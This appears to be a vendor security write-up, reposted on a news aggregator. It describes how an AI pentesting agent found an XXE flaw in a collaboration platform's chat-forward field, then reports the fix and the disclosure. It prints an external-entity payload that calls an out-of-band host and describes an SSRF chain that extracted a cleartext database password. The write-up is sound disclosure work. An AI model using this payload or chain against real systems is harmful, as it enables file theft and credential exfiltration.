cd /news/ai-agents/how-an-ai-agent-talked-itself-into-a… · home topics ai-agents article
[ARTICLE · art-50831] src=equixly.com ↗ pub= topic=ai-agents verified=true sentiment=· neutral

How an AI agent talked itself into an XXE — and was right

Equixly's AI agent autonomously discovered an XML External Entity (XXE) injection vulnerability in the chat layer of a collaboration platform during a grey-box assessment. The agent identified a message-forward field as a likely XML sink from an OpenAPI specification alone, confirmed the flaw via out-of-band detection, and demonstrated impact including arbitrary file reads and server-side request forgery that exfiltrated cleartext database credentials.

read12 min views1 publishedJul 8, 2026
How an AI agent talked itself into an XXE — and was right
Image: Equixly (auto-discovered)
Eugen Saraci, Alessio Dalla Piazza

Table of contents #

Abstract

XML External Entity (XXE) injection has been well understood in application security for over a decade. The question in 2026 is not what XXE is, but how an autonomous agent decides that a given parameter — one the API contract describes as ordinary JSON — is worth an XXE payload at all and then confirms the flaw when the application never reflects the result.

This article walks through a validated finding by Equixly’s AI agent in the chat layer of a collaboration platform. The assessment was grey-box, conducted against the live application using the credentials of a single low-privileged user, without ever reading the code (which happens to be open-source).

Starting from nothing but an OpenAPI specification, the agent flagged a message-forward field as a likely XML sink and escalated it to XXE on the strength of a single non-erroring probe. And because it had built no reflection relation linking that input to any observable output, it confirmed the vulnerability out-of-band. We then confirmed the impact: arbitrary local file reads and server-side request forgery, chained to exfiltrate a cleartext database credential.

How Equixly’s AI found the XXE #

The vulnerability was not found by manual code review or a lucky fuzzer. Equixly’s agent identified it autonomously during routine API security testing. Below is the methodology behind the discovery.

A note on method before the details. Although the platform is open-source, this was a grey-box assessment conducted entirely against the running application, and the agent never read the source code. It was configured with the credentials of a single low-privileged user, i.e., an ordinary, non-administrative account set up for the test.

Equixly’s AI agent worked with the live API in the way an authenticated attacker holding those credentials would. The inference, the escalation, and the exfiltration were all achieved at that ordinary user’s privilege level, not by reading the code that, in this case, happened to be public.

Phase 1: Autonomous exploration

The only input was an OpenAPI specification. There was no source code, and nothing in the contract suggested XML was in play anywhere. The endpoint, which forwards a chat message from one conversation to another, accepts JSON like everything else in the API.

Equixly’s agent does not begin with payloads; it begins with the contract. During exploration, it builds a model of what each parameter is for: What it represents, where it travels, and what the backend likely does with it. It also builds reflection relations, a map of which input parameters reappear in outputs elsewhere, so it knows in advance where a value injected in one place is likely to resurface in another.

The message-forward field stood out for a structural reason. A forwarded message is content that gets picked up, re-wrapped, and handed to another part of the system. That is the sort of value that tends to pass through a parser on the way, and not necessarily the one the public contract advertises. The agent flagged it as a candidate for XML handling based on the role it plays, not on any application/xml label.

Phase 2: Context-aware probing

Instead of spraying random payloads, the agent generated a context-aware input to test the hypothesis: a small, well-formed, and completely innocuous snippet of XML, dropped into a field where the API expected an ordinary value.

This confirmed nothing on its own. There was no oracle proving the value had been parsed as XML, no echoed markup, no parser error. What came back was simply a clean, positive response: The backend accepted the request and did not choke on it. The XML had not broken anything.

That is a far weaker signal than “It is being parsed.” But it was enough. A field that swallows structurally valid XML without complaint is a prime candidate for feeding a parser, and that absence of rejection was all the AI agent needed.

Off the back of one harmless, non-erroring probe, it escalated on its own to external-entity payloads, with no human in the loop telling it “This looks like XML; try XXE next.” That inference, drawn from a thin signal, is the capability that separates an agent reasoning about an API from a scanner fuzzing it.

Phase 3: Out-of-band confirmation

With XXE on the table, the agent had to choose how to confirm it. The textbook in-band test injects an entity that pulls a local file into the reply and reads it straight off the HTTP response. It is satisfying when it works, but it only works if the parsed result comes back somewhere observable.

This is where the exploration data paid off. The agent had built no reflection relation for the message-forward field. Nothing it had observed tied that input to any output parameter that echoed the value back. With no known place to read a reflected file from, in-band reflection was a bad bet.

So the agent went out of band. Rather than hope for reflected output that the exploration data suggested did not exist, it injected an entity forcing the server to reach back out to Equixly-controlled infrastructure, and treated that callback as the confirmation:

<?xml version="1.0"?> 
<!DOCTYPE foo [ 
  <!ENTITY % ext SYSTEM "http://oob.equixly-controlled.example/probe"> 
  %ext; 
]>

The callback arrived. The field reached a parser that resolves external entities, confirmed with no reliance on the application echoing anything back. The decision was not a guess. It followed directly from the absence of any reflection relation for that parameter.

Why out-of-band was the only option that worked #

The leaked data never came back in the HTTP response to the injected request. It surfaced over the WebSocket the chat client uses to receive messages, delivered as an XMPP message-archive result. The value sat inside the body of a forwarded <message>

element, wrapped in the archive query response a client would normally render as chat history.

Had the agent committed to an in-band strategy that depended on reading the HTTP reply, this would have looked like a dead end:

  • The file would have been read server-side.
  • The secret would have traveled out over the socket
  • Nothing in the HTTP response would have flagged it.

This is why the missing reflection relation had pushed the agent out-of-band, and why that was the right call. Since the server itself makes the outbound connection, it no longer matters where the application chooses to deliver its normal output. The exfiltration rode the parser’s own request, not the application’s response.

From a callback to a database password #

A callback proves the parser resolves external entities. It does not prove an attacker can walk away with anything sensitive. Turning that primitive into a full kill chain is the job of a new capability we are building: a model that verifies the escalation end to end while keeping the target system safe. We used this finding as a dry run of it.

With external entities confirmed, the same primitive yielded two capabilities:

  • A local file read, reading arbitrary files off the host
  • Server-side request forgery, issuing requests to internal and external services and reading their responses back, with the parser acting as the proxy

In the tested environment, that was enough to build a working chain. The SSRF reached an internal service and retrieved a token; that token opened the internal key-value store; and the store held secrets in cleartext. One of them was the value behind a key like <collaboration-db>/db-password

— the database password, in plain text — extracted through a chat message-forward field.

A real-world attacker is not bound by a time-boxed engagement, and the building blocks — file read plus SSRF with readable responses — are the ones that compose into far worse.

Why traditional tools miss this XXE vulnerability #

This is not hypothetical. We ran four different commercial DAST tools against the endpoint, and none of them identified it. There are at least three reasons a conventional scanner or fuzzer misses a flaw like this:

The content type. The field is described as JSON, and a scanner with no model of what the parameter does has no reason to send XML at it in the first place.The lack of reflected output. The result of the injection never appears in the HTTP response, so a tool that confirms findings by reading the reply sees nothing because the data leaves over a WebSocket it is not watching.The absence of contextual reasoning. Recognizing that a non-erroring XML probe justifies an XXE escalation and that the lack of a reflection relation makes out-of-band the right confirmation strategy requires a model of the application, not a payload list.

Knowing which field deserves the payload and which confirmation method survives the application’s actual plumbing is the difference between finding this vulnerability and walking past it.

The root cause and the fix #

The cause was an unsafe DocumentBuilderFactory

in MsgBuilder.java

, initialized with defaults. It left DOCTYPE declarations, external entity resolution, and external DTD all enabled. A second code path shared the identical insecure pattern.

The remediation is the standard one. On every parser that touches untrusted input, three settings need to change:

Disable DOCTYPE declarations; this is the primary defense and rejects them outright.** Disable resolution of external entities**, both general and parameter.** Disable of external DTDs**.

OWASP’s XML External Entity Prevention Cheat Sheet gives the exact configuration for this parser, including the JAXP DocumentBuilderFactory

.

The maintainers applied that hardening to both code paths and shipped it with regression tests covering the full range of XXE variants.

Applying the method beyond this case #

Nothing about this method was specific to the collaboration platform described above. The same loop can be pointed at other authorized targets: Stand up or access the target environment, derive the attack surface from the available interface, reason about which inputs deserve deeper testing, confirm the result through the channel that actually matches the application’s plumbing, and triage the findings that come back.

That is the workflow exposed through the Equixly MCP Server. From Claude, Copilot, GPT, or a similar LLM environment, an operator can direct the agent in natural language while the system handles the repetitive parts of the assessment:

  • Preparing the target
  • Mapping the API
  • Selecting probes
  • Escalating weak signals into stronger tests
  • Organizing the resulting evidence.

The XXE case above was run end to end through this loop as a demonstration of it. Previously, this setup was performed manually. With the MCP server, it can now be done automatically and scaled according to the amount of time we choose to invest.

Notably, even the manual approach — setting up the target without an LLM orchestrator — had already surfaced previously unknown vulnerabilities in substantially larger software systems, including products from OpenAI, Microsoft, and other major vendors; large open-source projects; and bug-bounty programs run by companies in the global top 100. (We cannot describe those findings here because the terms of the relevant programs and engagements do not permit public disclosure.)

That matters for a simple reason: This is not a one-off XXE trick. The finding above is an example of a repeatable loop. Given enough authorized targets, time, and compute, an automated system like Equixly’s can accumulate a large number of authentic findings across open-source projects, vendor products, and bug-bounty scopes.

But raw finding count is not the point. A high 0-day count or a place near the top of a public leaderboard mostly shows how much effort a team is willing to spend farming available targets. Equixly’s focus is different: applying the method where customers need coverage, validating the findings well enough for engineering teams to act on them, and getting fixes to the maintainers responsible for the affected systems.

A note on disclosure #

It is worth noting that no CVE was assigned to this vulnerability. At the time of reporting, the project did not have a private channel for security reports configured, so the issue was disclosed directly to the maintainers, who fixed it quietly.

It is also worth noting the context. The target platform is a mature, widely deployed Zimbra-like collaboration suite used by public-sector bodies and regulated organizations, including a number of government administrations. In an environment like that, a single chat message can lead to a cleartext database credential. That makes the disclosure path matter as much as the fix itself.

Two low-cost additions help downstream operators in cases like this:

  • A private reporting channel lets issues be triaged before they go public.
  • An advisory, with or without a CVE, lets operators confirm whether a version they are running was affected.

For a platform this widely deployed, both give operators the clearest path to staying current.

Conclusion #

What makes the disclosure worth getting right is how ordinary the entry point looked. Equixly started from an OpenAPI specification that did not indicate that XML was involved. It flagged a JSON-described field as a likely XML sink based on what the field does, not how it is labeled.

A single non-erroring XML probe, which confirmed nothing, was enough for the agent to escalate to XXE on its own. And with no reflection relation for that parameter, it confirmed out-of-band. That turned out to be the only path that worked, because the real output came back over a WebSocket that in-band testing would have missed entirely.

A scanner firing XML at every parameter would either never have tried this field or never have confirmed the hit. Reasoning about the API, rather than fuzzing it, is what closed the gap.

[ ]

Eugen Saraci

Security Researcher

Eugen is a curious and passionate security enthusiast. During his years at the University of Padua, he developed a deeper interest in AI and cybersecurity, leading to the publication of both his Bachelor's and Master's theses in renowned venues such as ESORICS and USENIX. After earning his Master's degree, Eugen worked on penetration testing while at a consulting firm, engaging in a range of offensive security activities, from cloud security reviews to traditional web and API penetration tests in the Banking and Telco industries. He also contributed to the creation of security guidelines for Docker, web server configurations, and AI/LLM development.

[ ]

Alessio Dalla Piazza

CTO & FOUNDER

Former Founder & CTO of CYS4, he embarked on active digital surveillance work in 2014, collaborating with global and local law enforcement to combat terrorism and organized crime. He designed and utilized advanced eavesdropping technologies, identifying Zero-days in products like Skype, VMware, Safari, Docker, and IBM WebSphere. In June 2016, he transitioned to a research role at an international firm, where he crafted tools for automated offensive security and vulnerability detection. He discovered multiple vulnerabilities that, if exploited, would grant complete control. His expertise served the banking, insurance, and industrial sectors through Red Team operations, Incident Management, and Advanced Training, enhancing client security.

── more in #ai-agents 4 stories · sorted by recency
── more on @equixly 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/how-an-ai-agent-talk…] indexed:0 read:12min 2026-07-08 ·